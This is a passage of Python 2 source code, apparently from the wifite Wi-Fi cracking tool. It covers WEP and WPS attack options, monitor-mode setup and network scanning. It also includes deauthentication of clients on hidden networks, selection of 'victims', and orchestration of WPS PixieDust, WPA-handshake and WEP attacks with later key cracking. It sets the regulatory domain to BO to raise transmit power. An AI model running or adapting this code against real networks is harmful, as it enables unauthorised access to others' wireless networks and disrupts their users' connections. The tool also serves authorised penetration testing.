wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False,
735
action='store_true', dest='fakeauth')
736
wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true',
737
dest='fakeauth')
738
wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store',
739
dest='wepca')
740
wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
741
wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,
742
action='store', dest='wepsave')
743
wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave')
744
# set WPS commands
745
wps_group = option_parser.add_argument_group('WPS')
746
wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true',
747
dest='wps')
748
wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
749
wps_group.add_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store_true', dest='pixie')
750
wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store',
751
dest='wpst')
752
wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
753
wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store',
754
dest='wpsratio')
755
wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
756
wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.',
757
action='store', dest='wpsretry')
758
wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')
759
760
return option_parser
761
762
763
class RunEngine:
764
def __init__(self, run_config):
765
self.RUN_CONFIG = run_config
766
self.RUN_CONFIG.RUN_ENGINE = self
767
768
def initial_check(self):
769
"""
770
Ensures required programs are installed.
771
"""
772
airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
773
for air in airs:
774
if program_exists(air): continue
775
print R + ' [!]' + O + ' required program not found: %s' % (R + air + W)
776
print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W
777
print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W
778
print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W
779
self.RUN_CONFIG.exit_gracefully(1)
780
781
if not program_exists('iw'):
782
print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W)
783
self.RUN_CONFIG.exit_gracefully(1)
784
785
if not program_exists('iwconfig'):
786
print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'iwconfig' + W)
787
self.RUN_CONFIG.exit_gracefully(1)
788
789
if not program_exists('ifconfig'):
790
print R + ' [!]' + O + ' wifite requires the program %s\n' % (R + 'ifconfig' + W)
791
self.RUN_CONFIG.exit_gracefully(1)
792
793
printed = False
794
# Check reaver
795
if not program_exists('reaver'):
796
printed = True
797
print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W
798
print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W
799
self.RUN_CONFIG.WPS_DISABLE = True
800
801
if not program_exists('tshark'):
802
printed = True
803
print R + ' [!]' + O + ' the program ' + R + 'tshark' + O + ' was not found' + W
804
print R + ' [!]' + O + ' please install tshark: https://www.wireshark.org/#download' + W
805
self.RUN_CONFIG.WPS_DISABLE = True
806
807
# Check handshake-checking apps
808
recs = ['pyrit', 'cowpatty']
809
for rec in recs:
810
if program_exists(rec): continue
811
printed = True
812
print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W)
813
if printed: print ''
814
815
def enable_monitor_mode(self, iface):
816
"""
817
First attempts to anonymize the MAC if requested; MACs cannot
818
be anonymized if they're already in monitor mode.
819
Uses airmon-ng to put a device into Monitor Mode.
820
Then uses the get_iface() method to retrieve the new interface's name.
821
Sets global variable IFACE_TO_TAKE_DOWN as well.
822
Returns the name of the interface in monitor mode.
823
"""
824
mac_anonymize(iface)
825
print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W),
826
stdout.flush()
827
call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
828
print 'done'
829
self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart
830
self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
831
if self.RUN_CONFIG.TX_POWER > 0:
832
print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
833
call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
834
call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG)
835
print 'done'
836
return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN
837
838
def disable_monitor_mode(self):
839
"""
840
The program may have enabled monitor mode on a wireless interface.
841
We want to disable this before we exit, so we will do that.
842
"""
843
if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
844
print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W),
845
stdout.flush()
846
call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
847
print 'done'
848
849
def rtl8187_fix(self, iface):
850
"""
851
Attempts to solve "Unknown error 132" common with RTL8187 devices.
852
Puts down interface, unloads/reloads driver module, then puts iface back up.
853
Returns True if fix was attempted, False otherwise.
854
"""
855
# Check if current interface is using the RTL8187 chipset
856
proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
857
proc_airmon.wait()
858
using_rtl8187 = False
859
for line in proc_airmon.communicate()[0].split():
860
line = line.upper()
861
if line.strip() == '' or line.startswith('INTERFACE'): continue
862
if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
863
864
if not using_rtl8187:
865
# Display error message and exit
866
print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W
867
print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
868
self.RUN_CONFIG.exit_gracefully(1)
869
870
print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..."
871
872
original_iface = iface
873
# Take device out of monitor mode
874
airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
875
airmon.wait()
876
for line in airmon.communicate()[0].split('\n'):
877
if line.strip() == '' or \
878
line.startswith("Interface") or \
879
line.find('(removed)') != -1:
880
continue
881
original_iface = line.split()[0] # line[:line.find('\t')]
882
883
# Remove drive modules, block/unblock ifaces, probe new modules.
884
print_and_exec(['ifconfig', original_iface, 'down'])
885
print_and_exec(['rmmod', 'rtl8187'])
886
print_and_exec(['rfkill', 'block', 'all'])
887
print_and_exec(['rfkill', 'unblock', 'all'])
888
print_and_exec(['modprobe', 'rtl8187'])
889
print_and_exec(['ifconfig', original_iface, 'up'])
890
print_and_exec(['airmon-ng', 'start', original_iface])
891
892
print '\r \r',
893
print O + ' [!] ' + W + 'restarting scan...\n'
894
895
return True
896
897
def get_iface(self):
898
"""
899
Get the wireless interface in monitor mode.
900
Defaults to only device in monitor mode if found.
901
Otherwise, enumerates list of possible wifi devices
902
and asks user to select one to put into monitor mode (if multiple).
903
Uses airmon-ng to put device in monitor mode if needed.
904
Returns the name (string) of the interface chosen in monitor mode.
905
"""
906
if not self.RUN_CONFIG.PRINTED_SCANNING:
907
print GR + ' [+]' + W + ' scanning for wireless devices...'
908
self.RUN_CONFIG.PRINTED_SCANNING = True
909
910
proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
911
iface = ''
912
monitors = []
913
adapters = []
914
for line in proc.communicate()[0].split('\n'):
915
if len(line) == 0: continue
916
if ord(line[0]) != 32: # Doesn't start with space
917
iface = line[:line.find(' ')] # is the interface
918
if line.find('Mode:Monitor') != -1:
919
monitors.append(iface)
920
else:
921
adapters.append(iface)
922
923
if self.RUN_CONFIG.WIRELESS_IFACE != '':
924
if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE):
925
return self.RUN_CONFIG.WIRELESS_IFACE
926
else:
927
if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
928
# valid adapter, enable monitor mode
929
print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % (
930
R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O)
931
return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
932
else:
933
# couldnt find the requested adapter
934
print R + ' [!]' + O + ' could not find wireless interface %s' % (
935
'"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W)
936
self.RUN_CONFIG.exit_gracefully(0)
937
938
if len(monitors) == 1:
939
return monitors[0] # Default to only device in monitor mode
940
elif len(monitors) > 1:
941
print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W
942
for i, monitor in enumerate(monitors):
943
print " %s. %s" % (G + str(i + 1) + W, G + monitor + W)
944
ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
945
(GR, W, G, W, G, len(monitors), W, G))
946
while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
947
ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
948
(GR, W, G, len(monitors), W, G))
949
i = int(ri)
950
return monitors[i - 1]
951
952
proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
953
for line in proc.communicate()[0].split('\n'):
954
if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue
955
monitors.append(line)
956
957
if len(monitors) == 0:
958
print R + ' [!]' + O + " no wireless interfaces were found." + W
959
print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W
960
self.RUN_CONFIG.exit_gracefully(0)
961
elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
962
monitor = monitors[0][:monitors[0].find('\t')]
963
return self.enable_monitor_mode(monitor)
964
965
elif len(monitors) == 1:
966
monitor = monitors[0][:monitors[0].find('\t')]
967
if monitor.startswith('phy'): monitor = monitors[0].split()[1]
968
return self.enable_monitor_mode(monitor)
969
970
print GR + " [+]" + W + " available wireless devices:"
971
for i, monitor in enumerate(monitors):
972
print " %s%d%s. %s" % (G, i + 1, W, monitor)
973
974
ri = raw_input(
975
GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
976
while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
977
ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
978
i = int(ri)
979
monitor = monitors[i - 1][:monitors[i - 1].find('\t')]
980
981
return self.enable_monitor_mode(monitor)
982
983
def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
984
"""
985
Scans for access points. Asks user to select target(s).
986
"channel" - the channel to scan on, 0 scans all channels.
987
"iface" - the interface to scan on. must be a real interface.
988
"tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
989
Returns list of selected targets and list of clients.
990
"""
991
airodump_file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wifite')
992
csv_file = airodump_file_prefix + '-01.csv'
993
cap_file = airodump_file_prefix + '-01.cap'
994
remove_airodump_files(airodump_file_prefix)
995
996
command = ['airodump-ng',
997
'-a', # only show associated clients
998
'--write-interval', '1', # Write every second
999
'-w', airodump_file_prefix] # output file
1000
if channel != 0:
1001
command.append('-c')
1002
command.append(str(channel))
1003
command.append(iface)
1004
1005
proc = Popen(command, stdout=DN, stderr=DN)
1006
1007
time_started = time.time()
1008
print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.'
1009
(targets, clients) = ([], [])
1010
try:
1011
deauth_sent = 0.0
1012
old_targets = []
1013
stop_scanning = False
1014
while True:
1015
time.sleep(0.3)
1016
if not os.path.exists(csv_file) and time.time() - time_started > 1.0:
1017
print R + '\n [!] ERROR!' + W
1018
# RTL8187 Unknown Error 132 FIX
1019
if proc.poll() is not None: # Check if process has finished
1020
proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
1021
if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
1022
send_interrupt(proc)
1023
if self.rtl8187_fix(iface):
1024
return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
1025
print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W
1026
print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
1027
self.RUN_CONFIG.exit_gracefully(1)
1028
1029
(targets, clients) = self.parse_csv(csv_file)
1030
1031
# Remove any already cracked networks if configured to do so
1032
if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
1033
index = 0
1034
while index < len(targets):
1035
already = False
1036
for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
1037
if targets[index].ssid.lower() == cracked.ssid.lower():
1038
already = True
1039
if targets[index].bssid.lower() == cracked.bssid.lower():
1040
already = True
1041
if already == True:
1042
targets.pop(index)
1043
index -= 1
1044
index += 1
1045
1046
# If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
1047
if self.RUN_CONFIG.TARGET_ESSID != '':
1048
for t in targets:
1049
if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
1050
send_interrupt(proc)
1051
try:
1052
os.kill(proc.pid, SIGTERM)
1053
except OSError:
1054
pass
1055
except UnboundLocalError:
1056
pass
1057
targets = [t]
1058
stop_scanning = True
1059
break
1060
if self.RUN_CONFIG.TARGET_BSSID != '':
1061
for t in targets:
1062
if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
1063
send_interrupt(proc)
1064
try:
1065
os.kill(proc.pid, SIGTERM)
1066
except OSError:
1067
pass
1068
except UnboundLocalError:
1069
pass
1070
targets = [t]
1071
stop_scanning = True
1072
break
1073
1074
# If user has chosen to target all access points, wait 20 seconds, then return all
1075
if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
1076
print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % (
1077
G, len(targets), W, '' if len(targets) == 1 else 's')
1078
stop_scanning = True
1079
1080
if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
1081
# Remove targets with power < threshold
1082
i = 0
1083
before_count = len(targets)
1084
while i < len(targets):
1085
if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
1086
targets.pop(i)
1087
else:
1088
i += 1
1089
print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \
1090
(G + str(before_count - len(targets)) + W,
1091
self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W)
1092
stop_scanning = True
1093
1094
if stop_scanning: break
1095
1096
# If there are unknown SSIDs, send deauths to them.
1097
if self.RUN_CONFIG.SEND_DEAUTHS and channel != 0 and time.time() - deauth_sent > 5:
1098
deauth_sent = time.time()
1099
for t in targets:
1100
if t.ssid == '' or '\x00' in t.ssid or '\\x00' in t.ssid:
1101
print "\r %s deauthing hidden access point (%s) \r" % \
1102
(GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W),
1103
stdout.flush()
1104
# Time to deauth
1105
cmd = ['aireplay-ng',
1106
'--ignore-negative-one',
1107
'--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
1108
'-a', t.bssid]
1109
for c in clients:
1110
if c.station == t.bssid:
1111
cmd.append('-c')
1112
cmd.append(c.bssid)
1113
break
1114
cmd.append(iface)
1115
proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
1116
proc_aireplay.wait()
1117
time.sleep(0.5)
1118
else:
1119
for ot in old_targets:
1120
if ot.ssid == '' and ot.bssid == t.bssid:
1121
print '\r %s successfully decloaked "%s" ' % \
1122
(GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W)
1123
1124
old_targets = targets[:]
1125
if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
1126
targets = sorted(targets, key=lambda t: t.power, reverse=True)
1127
if not self.RUN_CONFIG.WPS_DISABLE:
1128
wps_check_targets(targets, cap_file, verbose=False)
1129
1130
os.system('clear')
1131
print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n'
1132
print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
1133
'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
1134
print ' --- -------------------- %s-- ---- ----- ---- ------' % (
1135
'----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
1136
for i, target in enumerate(targets):
1137
print " %s%2d%s " % (G, i + 1, W),
1138
# SSID
1139
if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid:
1140
p = O + '(' + target.bssid + ')' + GR + ' ' + W
1141
print '%s' % p.ljust(20),
1142
elif len(target.ssid) <= 20:
1143
print "%s" % C + target.ssid.ljust(20) + W,
1144
else:
1145
print "%s" % C + target.ssid[0:17] + '...' + W,
1146
# BSSID
1147
if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
1148
print O, target.bssid + W,
1149
# Channel
1150
print G + target.channel.rjust(3), W,
1151
# Encryption
1152
if target.encryption.find("WEP") != -1:
1153
print G,
1154
else:
1155
print O,
1156
print "\b%3s" % target.encryption.strip().ljust(4) + W,
1157
# Power
1158
if target.power >= 55:
1159
col = G
1160
elif target.power >= 40:
1161
col = O
1162
else:
1163
col = R
1164
print "%s%3ddb%s" % (col, target.power, W),
1165
# WPS
1166
if self.RUN_CONFIG.WPS_DISABLE:
1167
print " %3s" % (O + 'n/a' + W),
1168
else:
1169
print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
1170
# Clients
1171
client_text = ''
1172
for c in clients:
1173
if c.station == target.bssid:
1174
if client_text == '':
1175
client_text = 'client'
1176
elif client_text[-1] != "s":
1177
client_text += "s"
1178
if client_text != '':
1179
print ' %s' % (G + client_text + W)
1180
else:
1181
print ''
1182
print ''
1183
print ' %s %s wireless networks. %s target%s and %s client%s found \r' % (
1184
GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W,
1185
G + str(len(targets)) + W, '' if len(targets) == 1 else 's',
1186
G + str(len(clients)) + W, '' if len(clients) == 1 else 's'),
1187
1188
stdout.flush()
1189
except KeyboardInterrupt:
1190
pass
1191
print ''
1192
1193
send_interrupt(proc)
1194
try:
1195
os.kill(proc.pid, SIGTERM)
1196
except OSError:
1197
pass
1198
except UnboundLocalError:
1199
pass
1200
1201
# Use "tshark" program to check for WPS compatibility
1202
if not self.RUN_CONFIG.WPS_DISABLE:
1203
wps_check_targets(targets, cap_file)
1204
1205
remove_airodump_files(airodump_file_prefix)
1206
1207
if stop_scanning:
1208
return (targets, clients)
1209
print ''
1210
1211
if len(targets) == 0:
1212
print R + ' [!]' + O + ' no targets found!' + W
1213
print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W
1214
print ''
1215
self.RUN_CONFIG.exit_gracefully(1)
1216
1217
if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')
1218
1219
# Sort by Power
1220
targets = sorted(targets, key=lambda t: t.power, reverse=True)
1221
1222
victims = []
1223
print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
1224
'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
1225
print ' --- -------------------- %s-- ---- ----- ---- ------' % (
1226
'----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
1227
for i, target in enumerate(targets):
1228
print " %s%2d%s " % (G, i + 1, W),
1229
# SSID
1230
if target.ssid == '' or '\x00' in target.ssid or '\\x00' in target.ssid:
1231
p = O + '(' + target.bssid + ')' + GR + ' ' + W
1232
print '%s' % p.ljust(20),
1233
elif len(target.ssid) <= 20:
1234
print "%s" % C + target.ssid.ljust(20) + W,
1235
else:
1236
print "%s" % C + target.ssid[0:17] + '...' + W,
1237
# BSSID
1238
if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
1239
print O, target.bssid + W,
1240
# Channel
1241
print G + target.channel.rjust(3), W,
1242
# Encryption
1243
if target.encryption.find("WEP") != -1:
1244
print G,
1245
else:
1246
print O,
1247
print "\b%3s" % target.encryption.strip().ljust(4) + W,
1248
# Power
1249
if target.power >= 55:
1250
col = G
1251
elif target.power >= 40:
1252
col = O
1253
else:
1254
col = R
1255
print "%s%3ddb%s" % (col, target.power, W),
1256
# WPS
1257
if self.RUN_CONFIG.WPS_DISABLE:
1258
print " %3s" % (O + 'n/a' + W),
1259
else:
1260
print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
1261
# Clients
1262
client_text = ''
1263
for c in clients:
1264
if c.station == target.bssid:
1265
if client_text == '':
1266
client_text = 'client'
1267
elif client_text[-1] != "s":
1268
client_text += "s"
1269
if client_text != '':
1270
print ' %s' % (G + client_text + W)
1271
else:
1272
print ''
1273
1274
ri = raw_input(
1275
GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \
1276
" separated by commas, or '%s': " % (G + 'all' + W))
1277
if ri.strip().lower() == 'all':
1278
victims = targets[:]
1279
else:
1280
for r in ri.split(','):
1281
r = r.strip()
1282
if r.find('-') != -1:
1283
(sx, sy) = r.split('-')
1284
if sx.isdigit() and sy.isdigit():
1285
x = int(sx)
1286
y = int(sy) + 1
1287
for v in xrange(x, y):
1288
victims.append(targets[v - 1])
1289
elif not r.isdigit() and r.strip() != '':
1290
print O + " [!]" + R + " not a number: %s " % (O + r + W)
1291
elif r != '':
1292
victims.append(targets[int(r) - 1])
1293
1294
if len(victims) == 0:
1295
print O + '\n [!] ' + R + 'no targets selected.\n' + W
1296
self.RUN_CONFIG.exit_gracefully(0)
1297
1298
print ''
1299
print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
1300
1301
return (victims, clients)
1302
1303
def Start(self):
1304
self.RUN_CONFIG.CreateTempFolder()
1305
self.RUN_CONFIG.handle_args()
1306
self.RUN_CONFIG.ConfirmRunningAsRoot()
1307
self.RUN_CONFIG.ConfirmCorrectPlatform()
1308
1309
self.initial_check() # Ensure required programs are installed.
1310
1311
# Use an interface already in monitor mode if it has been provided,
1312
if self.RUN_CONFIG.MONITOR_IFACE != '':
1313
iface = self.RUN_CONFIG.MONITOR_IFACE
1314
else:
1315
# The "get_iface" method anonymizes the MAC address (if needed)
1316
# and puts the interface into monitor mode.
1317
iface = self.get_iface()
1318
self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address
1319
1320
(targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)
1321
1322
try:
1323
index = 0
1324
while index < len(targets):
1325
target = targets[index]
1326
# Check if we have already cracked this target
1327
for already in RUN_CONFIG.CRACKED_TARGETS:
1328
if already.bssid == targets[index].bssid:
1329
if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
1330
print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W
1331
print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"')
1332
ri = raw_input(
1333
GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ')
1334
if ri.lower() == 'n':
1335
targets.pop(index)
1336
index -= 1
1337
else:
1338
targets.pop(index)
1339
index -= 1
1340
break
1341
1342
# Check if handshakes already exist, ask user whether to skip targets or save new handshakes
1343
handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
1344
+ '_' + target.bssid.replace(':', '-') + '.cap'
1345
if os.path.exists(handshake_file):
1346
print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W)
1347
print ' %s\n' % (G + handshake_file + W)
1348
print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?'
1349
ri = 'x'
1350
while ri != 's' and ri != 'c' and ri != 'o':
1351
ri = raw_input(
1352
GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower()
1353
print W + "\b",
1354
if ri == 's':
1355
targets.pop(index)
1356
index -= 1
1357
elif ri == 'o':
1358
remove_file(handshake_file)
1359
continue
1360
index += 1
1361
1362
1363
except KeyboardInterrupt:
1364
print '\n ' + R + '(^C)' + O + ' interrupted\n'
1365
self.RUN_CONFIG.exit_gracefully(0)
1366
1367
wpa_success = 0
1368
wep_success = 0
1369
wpa_total = 0
1370
wep_total = 0
1371
1372
self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
1373
for t in targets:
1374
self.RUN_CONFIG.TARGETS_REMAINING -= 1
1375
1376
# Build list of clients connected to target
1377
ts_clients = []
1378
for c in clients:
1379
if c.station == t.bssid:
1380
ts_clients.append(c)
1381
1382
print ''
1383
if t.encryption.find('WPA') != -1:
1384
need_handshake = True
1385
if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
1386
wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
1387
need_handshake = not wps_attack.RunAttack()
1388
wpa_total += 1
1389
1390
if not need_handshake: wpa_success += 1
1391
if self.RUN_CONFIG.TARGETS_REMAINING < 0: break
1392
1393
if not self.RUN_CONFIG.PIXIE and not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
1394
wpa_total += 1
1395
wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
1396
if wpa_attack.RunAttack():
1397
wpa_success += 1
1398
1399
elif t.encryption.find('WEP') != -1:
1400
wep_total += 1
1401
wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
1402
if wep_attack.RunAttack():
1403
wep_success += 1
1404
1405
else:
1406
print R + ' unknown encryption:', t.encryption, W
1407
1408
# If user wants to stop attacking
1409
if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break
1410
1411
if wpa_total + wep_total > 0:
1412
# Attacks are done! Show results to user
1413
print ''
1414
print GR + ' [+] %s%d attack%s completed:%s' % (
1415
G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W)
1416
print ''
1417
if wpa_total > 0:
1418
if wpa_success == 0:
1419
print GR + ' [+]' + R,
1420
elif wpa_success == wpa_total:
1421
print GR + ' [+]' + G,
1422
else:
1423
print GR + ' [+]' + O,
1424
print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
1425
1426
for finding in self.RUN_CONFIG.WPA_FINDINGS:
1427
print ' ' + C + finding + W
1428
1429
if wep_total > 0:
1430
if wep_success == 0:
1431
print GR + ' [+]' + R,
1432
elif wep_success == wep_total:
1433
print GR + ' [+]' + G,
1434
else:
1435
print GR + ' [+]' + O,
1436
print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
1437
1438
for finding in self.RUN_CONFIG.WEP_FINDINGS:
1439
print ' ' + C + finding + W
1440
1441
caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
1442
if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
1443
print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % (
1444
G, caps, W if caps == 1 else 's' + W)
1445
for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
1446
wpa_crack(cap, self.RUN_CONFIG)
1447
1448
print ''
1449
self.RUN_CONFIG.exit_gracefully(0)
1450
1451
def parse_csv(self, filename):
1452
"""
1453
Parses given lines from airodump-ng CSV file.
1454
Returns tuple: List of targets and list of clients.
1455
"""
1456
if not os.path.exists(filename): return ([], [])
1457
targets = []
1458
clients = []
1459
try:
1460
hit_clients = False
1461
with open(filename, 'rb') as csvfile:
1462
targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')
1463
for row in targetreader:
1464
if len(row) < 2:
1465
continue
1466
if not hit_clients:
1467
if row[0].strip() == 'Station MAC':
1468
hit_clients = True
1469
continue
1470
if len(row) < 14:
1471
continue
1472
if row[0].strip() == 'BSSID':
1473
continue
1474
enc = row[5].strip()
1475
wps = False
1476
# Ignore non-WPA and non-WEP encryption
1477
if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
1478
if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
1479
if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find(
1480
'WPA') != -1: continue
1481
if enc == "WPA2WPA" or enc == "WPA2 WPA":
1482
enc = "WPA2"
1483
wps = True
1484
if len(enc) > 4:
1485
enc = enc[4:].strip()
1486
power = int(row[8].strip())
1487
1488
ssid = row[13].strip()
1489
ssidlen = int(row[12].strip())
1490
ssid = ssid[:ssidlen]
1491
1492
if power < 0: power += 100
1493
t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
1494
t.wps = wps
1495
targets.append(t)
1496
else:
1497
if len(row) < 6:
1498
continue
1499
bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
1500
station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
1501
power = row[3].strip()
1502
if station != 'notassociated':
1503
c = Client(bssid, station, power)
1504
clients.append(c)
1505
except IOError as e:
1506
print "I/O error({0}): {1}".format(e.errno, e.strerror)
1507
return ([], [])
1508
1509
return (targets, clients)
1510
1511
def analyze_capfile(self, capfile):
1512
"""
1513
